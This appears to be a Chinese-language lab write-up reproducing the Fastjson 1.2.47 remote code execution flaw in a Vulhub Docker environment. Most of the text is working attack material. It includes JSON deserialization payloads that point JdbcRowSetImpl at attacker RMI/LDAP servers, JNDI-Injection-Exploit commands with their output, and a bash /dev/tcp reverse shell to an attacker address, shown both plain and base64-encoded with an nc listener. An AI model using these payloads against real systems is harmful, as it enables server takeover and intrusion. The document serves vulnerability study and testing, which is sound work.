目录
Fastjson_1.2.47_rce
| 说明 | 内容 |
|---|---|
| 漏洞编号 | |
| 漏洞名称 | Fastjson_1.2.47_远程执行漏洞 |
| 漏洞评级 | |
| 影响范围 | |
| 漏洞描述 | |
| 修复方案 |
1.1、漏洞描述
Fastjson是阿里巴巴公司开源的一款json解析器，其性能优越，被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令
1.2、漏洞等级
高危
1.3、影响版本
1.2.47
1.4、漏洞复现
1、基础环境
Path：Vulhub/fastjson/1.2.47-rce
启动测试环境：
sudo docker-compose up -d
访问http://your-ip:8090/即可看到一个json对象被返回
将content-type修改为application/json后可向其POST新的JSON对象，后端会利用fastjson进行解析
发送测试数据：
{"name":"hello", "age":20}
2、漏洞检测
使用BurpSuite扩展插件FastjsonScan进行漏洞检测
POC：
{
"axin":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"is":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://s0tgwxk05ll1qvmz0lwr27u0prvhj6.oastify.com/aaa",
"autoCommit":true
}
}
使用dnslog测试
3、漏洞验证
利用JNDI-Injection-Exploit工具开启RMI服务器
在/tmp目录下创建hello文件
┌──(kali㉿kali)-[~/tools/JNDI-Injection-Exploit/target]
└─$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/demo" -A "192.168.80.141"
[ADDRESS] >> 192.168.80.141
[COMMAND] >> touch /tmp/demo
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.80.141:1099/fuk3fq
ldap://192.168.80.141:1389/fuk3fq
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.80.141:1099/slgipa
ldap://192.168.80.141:1389/slgipa
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.80.141:1099/zsjp7n
----------------------------Server Log----------------------------
2023-09-08 03:53:56 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2023-09-08 03:53:56 [RMISERVER] >> Listening on 0.0.0.0:1099
2023-09-08 03:53:57 [LDAPSERVER] >> Listening on 0.0.0.0:1389
发送POC到FastJson服务器，通过RMI协议远程加载恶意类
{
"axin":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"is":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.80.141:1099/slgipa",
"autoCommit":true
}
}
验证：
1.5、深度利用
1、反弹Shell
构造反弹shell，进行base64编码
bash -i >& /dev/tcp/192.168.80.141/1234 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgwLjE0MS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
监听1234端口
nc -lvp 1234
开启RMI服务
┌──(kali㉿kali)-[~/tools/JNDI-Injection-Exploit/target]
└─$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgwLjE0MS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.80.141"
[ADDRESS] >> 192.168.80.141
[COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgwLjE0MS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.80.141:1099/fd5cfs
ldap://192.168.80.141:1389/fd5cfs
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.80.141:1099/flbdik
ldap://192.168.80.141:1389/flbdik
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.80.141:1099/m8yxp6
----------------------------Server Log----------------------------
2023-09-08 04:02:36 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2023-09-08 04:02:36 [RMISERVER] >> Listening on 0.0.0.0:1099
2023-09-08 04:02:36 [LDAPSERVER] >> Listening on 0.0.0.0:1389
POC:
{
"axin":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"is":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.80.141:1389/fd5cfs",
"autoCommit":true
}
}
获得Shell
